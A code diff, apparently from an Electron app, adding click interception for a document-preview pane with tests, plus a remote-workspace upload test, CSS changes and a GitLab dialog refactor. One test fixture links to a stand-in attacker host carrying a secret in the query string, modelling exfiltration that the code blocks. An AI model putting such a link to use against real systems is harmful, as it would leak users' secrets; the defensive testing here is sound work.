+  const event = new MouseEvent('click', { bubbles: true, cancelable: true, ...init })
+  Object.defineProperty(event, 'isTrusted', { configurable: true, value: true })
+  return dispatch(selector, event)
+}
+
+beforeEach(() => {
+  // Why: the module decides "sibling document" and "pure fragment" against the URL the guest is
+  // really on, which in a preview is always the preview scheme.
+  ;(window as never as { happyDOM: { setURL: (url: string) => void } }).happyDOM.setURL(
+    `orca-preview://${PREVIEW_GRANT_ID}/index.html`
+  )
+  vi.restoreAllMocks()
+})
+
+describe('doc preview link interception', () => {
+  it('sends on exactly the channel main listens on', () => {
+    expect(PRELOAD_DOC_PREVIEW_LINK_CLICK_CHANNEL).toBe(DOC_PREVIEW_LINK_CLICK_CHANNEL)
+  })
+
+  it('listens for both press kinds in the capture phase, so the document cannot consume them first', () => {
+    // Why not let it register: a document-level listener would survive into every later press here.
+    const addEventListener = vi.spyOn(document, 'addEventListener').mockImplementation(() => {})
+
+    installDocPreviewLinkInterception(vi.fn())
+
+    expect(addEventListener.mock.calls.map(([type, , options]) => [type, options])).toEqual([
+      ['click', true],
+      ['auxclick', true]
+    ])
+  })
+
+  // Why the headline: this is the whole point of the design. A document that can read its grant
+  // must not be able to hand it to a browser tab by synthesizing the reader's click.
+  it('routes nothing for a click the document dispatched itself', () => {
+    loadPreviewDocument('<a id="external" href="https://attacker.test/?d=secret">go</a>')
+
+    const scripted = new MouseEvent('click', { bubbles: true, cancelable: true })
+    // Why set it: this is what Chromium stamps on anything a document dispatches, and the test
+    // environment leaves the property off entirely.
+    Object.defineProperty(scripted, 'isTrusted', { configurable: true, value: false })
+
+    const event = dispatch('#external', scripted)
+
+    expect(event.isTrusted).toBe(false)
+    expect(report).not.toHaveBeenCalled()
+    expect(event.defaultPrevented).toBe(false)
+  })
+
+  it('reports a trusted press on an external anchor exactly once and stops the navigation', () => {
+    loadPreviewDocument('<a id="external" href="https://example.com/docs">go</a>')
+
+    const event = pressTrusted('#external')
+
+    expect(report).toHaveBeenCalledExactlyOnceWith('https://example.com/docs')
+    expect(event.defaultPrevented).toBe(true)
+  })
+
+  it('reports the anchor even when the press landed on what it wraps', () => {
+    loadPreviewDocument('<a href="https://example.com/docs"><span id="inner">go</span></a>')
+
+    pressTrusted('#inner')
+
+    expect(report).toHaveBeenCalledExactlyOnceWith('https://example.com/docs')
+  })
+
+  // Why: an SVG anchor's href is an SVGAnimatedString, so reading it as a string finds nothing and
+  // the link would fall through to the guest's navigation guard and die there.
+  it('reports an SVG anchor by its animated href', () => {
+    loadSvgAnchorDocument('https://example.com/chart')
+
+    pressTrusted('#svg-hit')
+
+    expect(report).toHaveBeenCalledExactlyOnceWith('https://example.com/chart')
+  })
+
+  // Why these three: baseVal is the raw attribute, so an unresolved read sends a relative sibling
+  // out to a browser tab, drops SVG fragment links on the floor, and turns a rooted path into a
+  // file URL the guest refuses — each one a divergence from the identical HTML anchor.
+  it('leaves a relative SVG link to the guest, the same as the HTML anchor beside it', () => {
+    loadSvgAnchorDocument('guide.html')
+
+    const event = pressTrusted('#svg-hit')
+
+    expect(report).not.toHaveBeenCalled()
+    expect(event.defaultPrevented).toBe(false)
+  })
+
+  it('scrolls to an SVG fragment target instead of routing it', () => {
+    loadSvgAnchorDocument('#section-2')
+    const target = document.createElement('h2')
+    target.id = 'section-2'
+    document.body.appendChild(target)
+    const scrollIntoView = vi.spyOn(target, 'scrollIntoView')
+
+    const event = pressTrusted('#svg-hit')
+
+    expect(scrollIntoView).toHaveBeenCalledOnce()
+    expect(report).not.toHaveBeenCalled()
+    expect(event.defaultPrevented).toBe(true)
+  })
+
+  it('scrolls to the top for a bare # on an SVG anchor', () => {
+    loadSvgAnchorDocument('#')
+    const scrollTo = vi.spyOn(window, 'scrollTo').mockImplementation(() => {})
+
+    pressTrusted('#svg-hit')
+
+    expect(scrollTo).toHaveBeenCalledOnce()
+    expect(report).not.toHaveBeenCalled()
+  })
+
+  it('keeps a rooted SVG link inside the preview rather than reading it as a filesystem path', () => {
+    loadSvgAnchorDocument('/assets/a.html')
+
+    const event = pressTrusted('#svg-hit')
+
+    expect(report).not.toHaveBeenCalled()
+    expect(event.defaultPrevented).toBe(false)
+  })
+
+  it('leaves a sibling preview document to the guest, which its policy already permits', () => {
+    loadPreviewDocument(
+      `<a id="sibling" href="orca-preview://${PREVIEW_GRANT_ID}/guide.html">guide</a>`
+    )
+
+    const event = pressTrusted('#sibling')
+
+    expect(report).not.toHaveBeenCalled()
+    expect(event.defaultPrevented).toBe(false)
+  })
+
+  it('scrolls to a fragment target in the document instead of routing it', () => {
+    loadPreviewDocument(
+      `<a id="jump" href="${documentUrl()}#section">jump</a><h2 id="section">s</h2>`
+    )
+    const scrollIntoView = vi.spyOn(document.getElementById('section')!, 'scrollIntoView')
+
+    const event = pressTrusted('#jump')
+
+    expect(scrollIntoView).toHaveBeenCalledOnce()
+    expect(report).not.toHaveBeenCalled()
+    expect(event.defaultPrevented).toBe(true)
+  })
+
+  it('finds a fragment target whose id the href percent-encoded', () => {
+    loadPreviewDocument(`<a id="jump" href="${documentUrl()}#a%20b">jump</a><h2 id="a b">s</h2>`)
+    const scrollIntoView = vi.spyOn(document.getElementById('a b')!, 'scrollIntoView')
+
+    pressTrusted('#jump')
+
+    expect(scrollIntoView).toHaveBeenCalledOnce()
+    expect(report).not.toHaveBeenCalled()
+  })
+
+  it('scrolls to the top for a bare # and for #top with nothing carrying that id', () => {
+    loadPreviewDocument(
+      `<a id="hash" href="#">top</a><a id="named" href="${documentUrl()}#top">top</a>`
+    )
+    const scrollTo = vi.spyOn(window, 'scrollTo').mockImplementation(() => {})
+
+    pressTrusted('#hash')
+    pressTrusted('#named')
+
+    expect(scrollTo).toHaveBeenCalledTimes(2)
+    expect(report).not.toHaveBeenCalled()
+  })
+
+  it('routes a fragment href that belongs to another document', () => {
+    loadPreviewDocument('<a id="other" href="https://example.com/page#section">go</a>')
+
+    pressTrusted('#other')
+
+    expect(report).toHaveBeenCalledExactlyOnceWith('https://example.com/page#section')
+  })
+
+  it('opens nothing for a middle click on a link', () => {
+    loadPreviewDocument('<a id="external" href="https://example.com/docs">go</a>')
+    const event = new MouseEvent('auxclick', { bubbles: true, button: 1, cancelable: true })
+    Object.defineProperty(event, 'isTrusted', { configurable: true, value: true })
+
+    dispatch('#external', event)
+
+    expect(report).not.toHaveBeenCalled()
+    expect(event.defaultPrevented).toBe(true)
+  })
+
+  it('leaves a middle click the document dispatched itself alone', () => {
+    loadPreviewDocument('<a id="external" href="https://example.com/docs">go</a>')
+    const event = new MouseEvent('auxclick', { bubbles: true, button: 1, cancelable: true })
+    Object.defineProperty(event, 'isTrusted', { configurable: true, value: false })
+
+    dispatch('#external', event)
+
+    expect(event.defaultPrevented).toBe(false)
+  })
+
+  it('ignores a press that is not on a link at all', () => {
+    loadPreviewDocument('<p id="text">nothing here</p>')
+
+    const event = pressTrusted('#text')
+
+    expect(report).not.toHaveBeenCalled()
+    expect(event.defaultPrevented).toBe(false)
+  })
+})
diff --git a/src/preload/doc-preview-link-interception.ts b/src/preload/doc-preview-link-interception.ts
new file mode 100644
index 00000000000..564bff1b883
--- /dev/null
+++ b/src/preload/doc-preview-link-interception.ts
@@ -0,0 +1,152 @@
+/**
+ * Decides what a click inside a preview guest means. This is the only way a URL leaves the
+ * preview, so it answers for a click the reader really made: navigation the document starts by
+ * itself never reaches here, and the guest's navigation policy refuses it outright.
+ *
+ * Runs in the guest's isolated world and exposes nothing to page script — the document cannot see
+ * these listeners, remove them, or call what they call.
+ */
+export type DocPreviewExternalLinkReporter = (url: string) => void
+
+/**
+ * Why the channel name is written out rather than imported: this module is bundled into a
+ * sandboxed preload, whose `require` resolves only 'electron', so an import of shared code emits a
+ * chunk require the guest cannot load. The test pins it to the constant main listens on.
+ */
+export const PRELOAD_DOC_PREVIEW_LINK_CLICK_CHANNEL = 'docPreview:linkClick'
+
+/** Why not `instanceof HTMLAnchorElement`: an SVG `<a>` is an anchor too, and carries an SVGAnimatedString href. */
+function readAnchorHref(node: EventTarget): string | null {
+  const element = node as { tagName?: unknown; href?: unknown }
+  if (typeof element.tagName !== 'string' || element.tagName.toUpperCase() !== 'A') {
+    return null
+  }
+  if (typeof element.href === 'string') {
+    return element.href.length > 0 ? element.href : null
+  }
+  const baseVal = (element.href as { baseVal?: unknown } | null | undefined)?.baseVal
+  if (typeof baseVal !== 'string' || baseVal.length === 0) {
+    return null
+  }
+  // Why resolved here: baseVal is the raw attribute, unlike an HTML anchor's absolute href, so
+  // every branch below would read an SVG link differently from the identical HTML one.
+  try {
+    return new URL(baseVal, window.location.href).toString()
+  } catch {
+    return null
+  }
+}
+
+/** Why the composed path and not `event.target`: the press lands on whatever the anchor wraps, shadow roots included. */
+function findClickedAnchor(event: Event): { element: EventTarget; href: string } | null {
+  for (const node of event.composedPath()) {
+    const href = readAnchorHref(node)
+    if (href !== null) {
+      return { element: node, href }
+    }
+  }
+  return null
+}
+
+function scrollToDocumentTop(): void {
+  window.scrollTo(0, 0)
+}
+
+function readAttribute(element: EventTarget, name: string): string | null {
+  const candidate = element as { getAttribute?: (attribute: string) => string | null }
+  return typeof candidate.getAttribute === 'function' ? candidate.getAttribute(name) : null
+}
+
+function scrollToFragment(fragment: string): void {
+  let target = document.getElementById(fragment)
+  if (!target) {
+    try {
+      target = document.getElementById(decodeURIComponent(fragment))
+    } catch {
+      target = null
+    }
+  }
+  if (target) {
+    target.scrollIntoView()
+    return
+  }
+  // Why: `#top` names the top of the document even when nothing carries that id.
+  if (fragment === 'top') {
+    scrollToDocumentTop()
+  }
+}
+
+/** True when the href only moves within the document already on screen, which this handles itself. */
+function handleInDocumentFragment(element: EventTarget, href: string): boolean {
+  if (readAttribute(element, 'href') === '#') {
+    scrollToDocumentTop()
+    return true
+  }
+  const hashIndex = href.indexOf('#')
+  if (hashIndex === -1) {
+    return false
+  }
+  const currentHref = window.location.href
+  const currentHashIndex = currentHref.indexOf('#')
+  const currentBase = currentHashIndex === -1 ? currentHref : currentHref.slice(0, currentHashIndex)
+  if (href.slice(0, hashIndex) !== currentBase) {
+    return false
+  }
+  scrollToFragment(href.slice(hashIndex + 1))
+  return true
+}
+
+function isSameSchemeAsDocument(href: string): boolean {
+  try {
+    return new URL(href).protocol === window.location.protocol
+  } catch {
+    return false
+  }
+}
+
+export function handleDocPreviewLinkClick(
+  event: Event,
+  report: DocPreviewExternalLinkReporter
+): void {
+  // Why first: a click the page dispatched is the document asking to leave, not the reader.
+  if (!event.isTrusted) {
+    return
+  }
+  const anchor = findClickedAnchor(event)
+  if (!anchor) {
+    return
+  }
+  if (handleInDocumentFragment(anchor.element, anchor.href)) {
+    event.preventDefault()
+    return
+  }
+  // Why left alone: a link served the way this document was is a sibling preview document, which
+  // the guest policy already answers for — it navigates natively and the preview keeps its history.
+  if (isSameSchemeAsDocument(anchor.href)) {
+    return
+  }
+  event.preventDefault()
+  report(anchor.href)
+}
+
+export function handleDocPreviewLinkAuxClick(event: MouseEvent): void {
+  if (!event.isTrusted || event.button !== 1) {
+    return
+  }
+  if (!findClickedAnchor(event)) {
+    return
+  }
+  // Why swallowed rather than routed: a middle click asks for a background tab, and honouring it
+  // would let one press the reader barely registered open a browser tab.
+  event.preventDefault()
+}
+
+export function installDocPreviewLinkInterception(report: DocPreviewExternalLinkReporter): void {
+  // Why capture: the document's own handlers must not be able to consume the press first.
+  document.addEventListener('click', (event) => handleDocPreviewLinkClick(event, report), true)
+  document.addEventListener(
+    'auxclick',
+    (event) => handleDocPreviewLinkAuxClick(event as MouseEvent),
+    true
+  )
+}
diff --git a/src/preload/doc-preview-link.ts b/src/preload/doc-preview-link.ts
new file mode 100644
index 00000000000..e88e4ab7801
--- /dev/null
+++ b/src/preload/doc-preview-link.ts
@@ -0,0 +1,15 @@
+import {
+  installDocPreviewLinkInterception,
+  PRELOAD_DOC_PREVIEW_LINK_CLICK_CHANNEL
+} from './doc-preview-link-interception'
+
+// Why: raw require keeps the sandboxed preload standalone in the main-process CJS build.
+const { ipcRenderer } = require('electron') as {
+  ipcRenderer: { send: (channel: string, ...args: unknown[]) => void }
+}
+
+// Why no contextBridge: the document must not be able to call this. The listeners live in the
+// isolated world, and main still refuses any report that does not come from a live, grant-bound preview guest.
+installDocPreviewLinkInterception((url) => {
+  ipcRenderer.send(PRELOAD_DOC_PREVIEW_LINK_CLICK_CHANNEL, url)
+})
diff --git a/src/preload/index.ts b/src/preload/index.ts
index d36b385d10a..1b75b5b56da 100644
--- a/src/preload/index.ts
+++ b/src/preload/index.ts
@@ -8,6 +8,15 @@ import type {
   SkillDeleteRequest,
   SkillDeleteResult
 } from '../shared/skill-delete-contract'
+import {
+  DOC_PREVIEW_EXTERNAL_LINK_CHANNEL,
+  DOC_PREVIEW_LOAD_FAILURE_CHANNEL,
+  DOC_PREVIEW_AUTHORIZE_DIRECTORY_CHANNEL,
+  DOC_PREVIEW_MINT_GRANT_CHANNEL,
+  DOC_PREVIEW_REVOKE_GRANT_CHANNEL,
+  type DocPreviewFailure
+} from '../shared/doc-preview-scheme'
+import type { DocPreviewGrantRequest } from './api/doc-preview-api'
 import type { AppIdentity } from '../shared/app-identity'
 import type { MacCapturedDigitRowChord } from '../shared/macos-symbolic-hotkeys'
 import type { ComputerAwakeStatus } from '../shared/computer-awake-mode'
@@ -3322,6 +3331,27 @@ const api = {
     }
   } satisfies PreloadApi['updater'],
 
+  docPreview: {
+    mintGrant: (request: DocPreviewGrantRequest): Promise<{ grantId: string; url: string }> =>
+      ipcRenderer.invoke(DOC_PREVIEW_MINT_GRANT_CHANNEL, request),
+    revokeGrant: (grantId: string): Promise<boolean> =>
+      ipcRenderer.invoke(DOC_PREVIEW_REVOKE_GRANT_CHANNEL, grantId),
+    authorizeDirectory: (grantId: string, relativePath: string): Promise<boolean> =>
+      ipcRenderer.invoke(DOC_PREVIEW_AUTHORIZE_DIRECTORY_CHANNEL, grantId, relativePath),
+    onExternalLink: (callback: (payload: { url: string }) => void): (() => void) => {
+      const listener = (_event: Electron.IpcRendererEvent, payload: { url: string }): void =>
+        callback(payload)
+      ipcRenderer.on(DOC_PREVIEW_EXTERNAL_LINK_CHANNEL, listener)
+      return () => ipcRenderer.removeListener(DOC_PREVIEW_EXTERNAL_LINK_CHANNEL, listener)
+    },
+    onLoadFailure: (callback: (payload: DocPreviewFailure) => void): (() => void) => {
+      const listener = (_event: Electron.IpcRendererEvent, payload: DocPreviewFailure): void =>
+        callback(payload)
+      ipcRenderer.on(DOC_PREVIEW_LOAD_FAILURE_CHANNEL, listener)
+      return () => ipcRenderer.removeListener(DOC_PREVIEW_LOAD_FAILURE_CHANNEL, listener)
+    }
+  },
+
   notebook: {
     runPythonCell: (args: {
       filePath: string
diff --git a/src/renderer/src/App.tsx b/src/renderer/src/App.tsx
index cdd08d323d6..903c8b81447 100644
--- a/src/renderer/src/App.tsx
+++ b/src/renderer/src/App.tsx
@@ -3,6 +3,7 @@ import { Toaster } from '@/components/ui/sonner'
 import { TooltipProvider } from '@/components/ui/tooltip'
 import { ConfirmationDialogProvider } from './components/confirmation-dialog'
 import { BrowserWebAuthnAccountDialog } from './components/browser-webauthn-account-dialog'
+import { DocPreviewExternalLinkConfirmation } from './components/browser-pane/workspace-doc/doc-preview-external-link-confirmation'
 import { LinkRoutingPreferenceDialogProvider } from './components/link-routing-preference-dialog'
 import { SkillFreshnessNudge } from './components/skills/SkillFreshnessNudge'
 import PinnedTabCloseDialog from './components/terminal-pane/PinnedTabCloseDialog'
@@ -90,6 +91,7 @@ function App(): React.JSX.Element {
     >
       <TooltipProvider delayDuration={400}>
         <ConfirmationDialogProvider>
+          <DocPreviewExternalLinkConfirmation />
           <LinkRoutingPreferenceDialogProvider>
             <AppBackgroundServices />
             <AppWorkspaceShell layout={layout} floatingWorkspace={floatingWorkspace} />
diff --git a/src/renderer/src/app-shell/remote-workspace-unplaced-upload-suppression.test.tsx b/src/renderer/src/app-shell/remote-workspace-unplaced-upload-suppression.test.tsx
new file mode 100644
index 00000000000..28724c4068b
--- /dev/null
+++ b/src/renderer/src/app-shell/remote-workspace-unplaced-upload-suppression.test.tsx
@@ -0,0 +1,245 @@
+// @vitest-environment happy-dom
+
+/**
+ * The data-safety end of STA-3593. Hydrating a target authorises workspace uploads
+ * (`use-app-session-persistence.ts`), an upload is a `replace-session` patch
+ * (`remote-workspace-relay-sync.ts`), and the host applies that by wholesale replacement. So a
+ * client that hydrated on a snapshot whose tab rows it could not place would upload its incomplete
+ * projection and DELETE the host tabs it failed to adopt.
+ *
+ * That is the asymmetry the design turns on: a suppressed upload is deferred and recoverable, a
+ * wiped host snapshot is not. This asserts the upload itself never names an unplaced target —
+ * through the real persistence gate, not the hydrated flag — so it still bites if the gating moves.
+ */
+import { cleanup, renderHook } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type * as AgentStatusModule from '@/lib/agent-status'
+import type { RemoteWorkspaceSnapshot } from '../../../shared/remote-workspace-types'
+import type { DirectSshAuthority, SshProviderEpoch } from '../../../shared/ssh-types'
+import type { DirectSshPreparationInput } from '../hooks/direct-ssh-reconnect-coordinator'
+import { createRemoteWorkspaceTargetSync } from '../hooks/remote-workspace-target-sync'
+import { makeWorktree } from '../store/slices/store-test-helpers'
+
+vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } }))
+vi.mock('@/lib/agent-status', async (importOriginal) => {
+  const actual = await importOriginal<typeof AgentStatusModule>()
+  return { ...actual, detectAgentStatusFromTitle: vi.fn().mockReturnValue(null) }
+})
+
+import { useAppStore } from '@/store'
+import { useAppSessionPersistence } from './use-app-session-persistence'
+
+const TARGET_ID = 'target-a'
+const REPO_ROOT = '/srv/proj'
+const HOST_PATH = `${REPO_ROOT}/alpha`
+const WORKTREE_ID = `repo-a::${HOST_PATH}`
+/** Long enough that any deferred retry or debounce would have fired if one existed. */
+const SETTLE_MS = 12_000
+/** Longer than the post-apply session-write suppression in remote-workspace-snapshot-apply.ts. */
+const WRITE_SUPPRESSION_MS = 1_500
+const DEBOUNCE_MS = 300
+
+const owner: DirectSshAuthority = {
+  targetId: TARGET_ID,
+  providerEpoch: 'epoch-a' as SshProviderEpoch,
+  connectionGeneration: 1
+}
+
+function snapshot(revision = 4): RemoteWorkspaceSnapshot {
+  return {
+    namespace: 'workspace',
+    revision,
+    updatedAt: revision,
+    schemaVersion: 1,
+    session: {
+      activeWorktreePath: HOST_PATH,
+      activeTabId: 'T1',
+      tabsByWorktreePath: {
+        [HOST_PATH]: [0, 1].map((index) => ({
+          id: `T${index + 1}`,
+          worktreePath: HOST_PATH,
+          ptyId: `pty-T${index + 1}`,
+          title: `Terminal ${index + 1}`,
+          customTitle: null,
+          color: null,
+          sortOrder: index,
+          createdAt: index + 1
+        }))
+      },
+      terminalLayoutsByTabId: {}
+    }
+  }
+}
+
+type UploadArgs = { hydratedTargetIds?: string[]; session?: unknown }
+const uploads = vi.fn(async (_args: UploadArgs) => [] as { targetId: string; result: never }[])
+
+function installWindowApi(): void {
+  ;(window as unknown as { api: unknown }).api = {
+    session: { patch: vi.fn(async () => {}), set: vi.fn(async () => {}) },
+    remoteWorkspace: { setForConnectedTargets: uploads },
+    app: { stageBeforeUnloadSync: vi.fn() },
+    ui: { onWindowCloseRequested: vi.fn(() => () => {}) }
+  }
+}
+
+function seedStore(withHostCatalog: boolean): void {
+  useAppStore.setState({
+    workspaceSessionReady: true,
+    hydrationSucceeded: true,
+    repos: [
+      {
+        id: 'repo-a',
+        path: REPO_ROOT,
+        displayName: 'Proj',
+        badgeColor: '#000',
+        addedAt: 0,
+        connectionId: TARGET_ID,
+        executionHostId: `ssh:${TARGET_ID}`
+      } as never
+    ],
+    worktreesByRepo: withHostCatalog
+      ? {
+          'repo-a': [
+            makeWorktree({
+              id: WORKTREE_ID,
+              repoId: 'repo-a',
+              path: HOST_PATH,
+              hostId: `ssh:${TARGET_ID}`
+            } as never)
+          ]
+        }
+      : {},
+    remoteWorkspaceHydratedTargetIds: new Set<string>(),
+    remoteWorkspaceSyncStatusByTargetId: {},
+    tabsByWorktree: {},
+    reconnectPersistedTerminals: (async () => {}) as never
+  })
+}
+
+function createSync() {
+  return createRemoteWorkspaceTargetSync({
+    store: useAppStore,
+    remoteWorkspace: {
+      get: vi.fn(async () => snapshot()),
+      setForConnectedTargets: uploads as never
+    },
+    getCurrentAuthority: () => owner,
+    isPreparationTokenCurrent: () => true,
+    capturePreparationInput: async (
+      authority,
+      reason,
+      snapshotRevision
+    ): Promise<DirectSshPreparationInput> => ({
+      ...authority,
+      catalogRevision: 1,
+      repoRefs: [{ repoId: 'repo-a', executionHostId: `ssh:${TARGET_ID}` }],
+      authorityRequirement: 'required',
+      reason,
+      snapshotRevision
+    }),
+    prepareOnly: async (input) => ({
+      status: 'degraded' as const,
+      token: {
+        authority: owner,
+        catalogRevision: 1,
+        repoFingerprint: 'fp',
+        authorityRequirement: 'required' as const,
+        snapshotRevision: input.snapshotRevision ?? null,
+        outcome: 'degraded' as const
+      },
+      repoOutcomes: {
+        complete: 0,
+        'non-authoritative': 1,
+        'timed-out': 0,
+        'cancel-budget-exhausted': 0,
+        canceled: 0,
+        stale: 0,
+        rejected: 0
+      },
+      lineageOutcome: 'degraded' as const
+    }),
+    finalizeHydratedTerminals: () => 0
+  })
+}
+
+/** A local edit the persistence subscriber must want to write, then let it settle. */
+async function touchSessionAndSettle(marker: string): Promise<void> {
+  await vi.advanceTimersByTimeAsync(WRITE_SUPPRESSION_MS)
+  useAppStore.setState({ activeTabId: marker })
+  await vi.advanceTimersByTimeAsync(DEBOUNCE_MS)
+}
+
+function uploadedTargetIds(): string[] {
+  return uploads.mock.calls.flatMap((call) => call[0]?.hydratedTargetIds ?? [])
+}
+
+beforeEach(() => {
+  vi.useFakeTimers()
+  uploads.mockClear()
+  installWindowApi()
+})
+
+afterEach(() => {
+  cleanup()
+  vi.useRealTimers()
+})
+
+describe('uploads from a client that could not place the host tabs', () => {
+  it('issues no upload for a target whose host tabs it could not place', async () => {
+    seedStore(false)
+    const persistence = renderHook(() => useAppSessionPersistence())
+    const sync = createSync()
+
+    // Deliberately not asserting the placement verdict first: the oracle is the upload, and a
+    // precondition on the verdict would fail ahead of it and hide whether the upload gate holds.
+    await sync.applyUnsolicitedSnapshot(TARGET_ID, snapshot())
+    expect(
+      useAppStore.getState().tabsByWorktree[WORKTREE_ID],
+      'the host named two terminals and this client placed neither'
+    ).toBeUndefined()
+
+    // Before the client has settled: it is not authoritative for this target yet.
+    await touchSessionAndSettle('mid-chain')
+    expect(
+      uploadedTargetIds(),
+      'a client that adopted none of the host tabs uploaded over them'
+    ).not.toContain(TARGET_ID)
+
+    // Still no upload once everything has settled: not adopting is not permission to overwrite the host.
+    await vi.advanceTimersByTimeAsync(SETTLE_MS)
+    expect(
+      useAppStore.getState().remoteWorkspaceSyncStatusByTargetId[TARGET_ID]?.phase,
+      'a client that placed none of the host tabs reported a healthy sync'
+    ).not.toBe('synced')
+    await touchSessionAndSettle('settled')
+    expect(
+      uploadedTargetIds(),
+      'settling authorised a replace-session upload built from an incomplete projection'
+    ).not.toContain(TARGET_ID)
+
+    sync.stop()
+    persistence.unmount()
+  })
+
+  it('does upload for a target whose host tabs it did place', async () => {
+    seedStore(true)
+    const persistence = renderHook(() => useAppSessionPersistence())
+    const sync = createSync()
+
+    await sync.applyUnsolicitedSnapshot(TARGET_ID, snapshot())
+    // Adoption is the observable outcome; the apply reports nothing back by design.
+    expect(useAppStore.getState().tabsByWorktree[WORKTREE_ID]?.map((tab) => tab.id)).toEqual([
+      'T1',
+      'T2'
+    ])
+
+    await touchSessionAndSettle('placed')
+
+    // Without this the suppression assertions above would pass on a harness that never uploads.
+    expect(uploadedTargetIds()).toContain(TARGET_ID)
+
+    sync.stop()
+    persistence.unmount()
+  })
+})
diff --git a/src/renderer/src/app-shell/use-app-session-persistence.ts b/src/renderer/src/app-shell/use-app-session-persistence.ts
index dbac27b0ef8..8a5975e8490 100644
--- a/src/renderer/src/app-shell/use-app-session-persistence.ts
+++ b/src/renderer/src/app-shell/use-app-session-persistence.ts
@@ -1,7 +1,10 @@
 import { useEffect } from 'react'
 import { translate } from '@/i18n/i18n'
 import { useAppStore } from '../store'
-import { isDirectSshRemoteWorkspaceApplyInProgress } from '../hooks/remote-workspace-snapshot-apply'
+import {
+  isDirectSshRemoteWorkspaceApplyInProgress,
+  onDirectSshRemoteWorkspaceApplyWindowClosed
+} from '../hooks/remote-workspace-snapshot-apply'
 import { createSessionWriteSubscriber } from '../lib/session-write-subscriber'
 import { buildActiveViewUnloadPatch } from '../lib/active-view-persist'
 import {
@@ -84,6 +87,7 @@ export function useAppSessionPersistence(): void {
     return createSessionWriteSubscriber({
       store: useAppStore,
       shouldSchedulePersist: () => !isDirectSshRemoteWorkspaceApplyInProgress(),
+      subscribeToPersistGateOpen: onDirectSshRemoteWorkspaceApplyWindowClosed,
       persist: ({ patch }) => {
         const state = useAppStore.getState()
         // Why: route each host's worktree-scoped slice to its own partition; return the local write so the remote-workspace upload chain below keeps its ordering.
diff --git a/src/renderer/src/assets/main.css b/src/renderer/src/assets/main.css
index 9d75836cd11..cd556d6f486 100644
--- a/src/renderer/src/assets/main.css
+++ b/src/renderer/src/assets/main.css
@@ -1145,9 +1145,11 @@ html.native-shell .app-layout {
 
 /* ── Jump palette (Cmd+J) ─────────────────────────────── */
 
-/* Why the data-slot qualifier: CommandItem also sets data-[selected=true]:bg-accent;
-   this selector must beat that utility so light-mode selection is actually visible. */
-[data-slot='command-item'].jump-palette-item[data-selected='true'] {
+/* Why the extra qualifier: CommandItem also sets data-[selected=true]:bg-accent;
+   this selector must beat that utility so light-mode selection is actually visible.
+   The role='option' arm covers virtualized rows that render outside cmdk. */
+[data-slot='command-item'].jump-palette-item[data-selected='true'],
+[role='option'].jump-palette-item[data-selected='true'] {
   /* Why: flat --accent (#f5f5f5) on the palette surface (#fff) is nearly invisible
      in light mode — the keyboard cursor has to read as a solid selected row.
      Mix foreground into background and draw an inset ring; expose the surface
@@ -1159,7 +1161,8 @@ html.native-shell .app-layout {
   color: var(--foreground);
 }
 
-.dark [data-slot='command-item'].jump-palette-item[data-selected='true'] {
+.dark [data-slot='command-item'].jump-palette-item[data-selected='true'],
+.dark [role='option'].jump-palette-item[data-selected='true'] {
   /* Why accent, not the light-mode mix: --accent (#404040) already reads clearly on
      dark surfaces; a low-%% foreground mix was a visible step down from the old row. */
   --jump-palette-selection-surface: var(--accent);
diff --git a/src/renderer/src/components/GitLabItemDialog.tsx b/src/renderer/src/components/GitLabItemDialog.tsx
index aeddf718975..1d32d254084 100644
--- a/src/renderer/src/components/GitLabItemDialog.tsx
+++ b/src/renderer/src/components/GitLabItemDialog.tsx
@@ -47,11 +47,23 @@ import type {
   GitLabMRUpdate,
   GitLabPipelineJob,
   GitLabWorkItem,
-  GitLabWorkItemDetails,
-  MRComment
+  GitLabWorkItemDetails
 } from '../../../shared/gitlab-types'
 import type { TaskSourceContext } from '../../../shared/task-source-context'
 import { translate } from '@/i18n/i18n'
+import {
+  CommentCard,
+  PipelineJobRow,
+  StateBadge,
+  dedupeGitLabUsers,
+  formatGitLabLabelDraft,
+  gitLabUserKey,
+  normalizeGitLabLabels,
+  parseGitLabLabelDraft,
+  showGitLabMutationError,
+  toggleGitLabLabelDraft,
+  type JobTraceState
+} from './gitlab-item-dialog-parts'
 
 type Props = {
   item: GitLabWorkItem | null
@@ -68,278 +80,6 @@ type GitLabDialogRepoSelector = {
   sourceContext?: TaskSourceContext | null
 }
 
-type JobTraceState = {
-  loading: boolean
-  trace?: string
-  error?: string
-}
-
-// Why: GitLab MR / issue states map onto a coarser palette than GitHub.
-const STATE_TONE: Record<GitLabWorkItem['state'], string> = {
-  opened: 'bg-emerald-500/15 text-emerald-700 dark:text-emerald-300',
-  closed: 'bg-rose-500/15 text-rose-700 dark:text-rose-300',
-  merged: 'bg-violet-500/15 text-violet-700 dark:text-violet-300',
-  locked: 'bg-rose-500/15 text-rose-700 dark:text-rose-300',
-  draft: 'bg-amber-500/15 text-amber-700 dark:text-amber-300'
-}
-
-// Why: pipeline job statuses map to one of four visual buckets — keep
-// the mapping local so the renderer doesn't depend on the backend's
-// shared mapper module (which is main-process only).
-function jobStatusTone(status: string): string {
-  switch (status) {
-    case 'success':
-      return 'bg-emerald-500/15 text-emerald-700 dark:text-emerald-300'
-    case 'failed':
-      return 'bg-rose-500/15 text-rose-700 dark:text-rose-300'
-    case 'running':
-    case 'pending':
-    case 'created':
-    case 'preparing':
-    case 'waiting_for_resource':
-    case 'scheduled':
-      return 'bg-sky-500/15 text-sky-700 dark:text-sky-300'
-    case 'manual':
-      return 'bg-amber-500/15 text-amber-700 dark:text-amber-300'
-    case 'canceled':
-    case 'skipped':
-    default:
-      return 'bg-muted text-muted-foreground'
-  }
-}
-
-function showGitLabMutationError(error: unknown): void {
-  const message = error instanceof Error && error.message ? error.message : String(error)
-  toast.error(
-    message === 'undefined' || message === 'null'
-      ? translate('auto.components.GitLabItemDialog.gitlabActionFailed', 'GitLab action failed.')
-      : message
-  )
-}
-
-function StateBadge({ state }: { state: GitLabWorkItem['state'] }): React.JSX.Element {
-  return (
-    <span
-      className={cn(
-        'inline-flex items-center rounded-full px-2 py-0.5 text-[10px] font-medium uppercase tracking-wide',
-        STATE_TONE[state]
-      )}
-    >
-      {state}
-    </span>
-  )
-}
-
-function normalizeGitLabLabels(labels: readonly string[]): string[] {
-  const seen = new Set<string>()
-  const normalized: string[] = []
-  for (const label of labels) {
-    const trimmed = label.trim()
-    const key = trimmed.toLowerCase()
-    if (!trimmed || seen.has(key)) {
-      continue
-    }
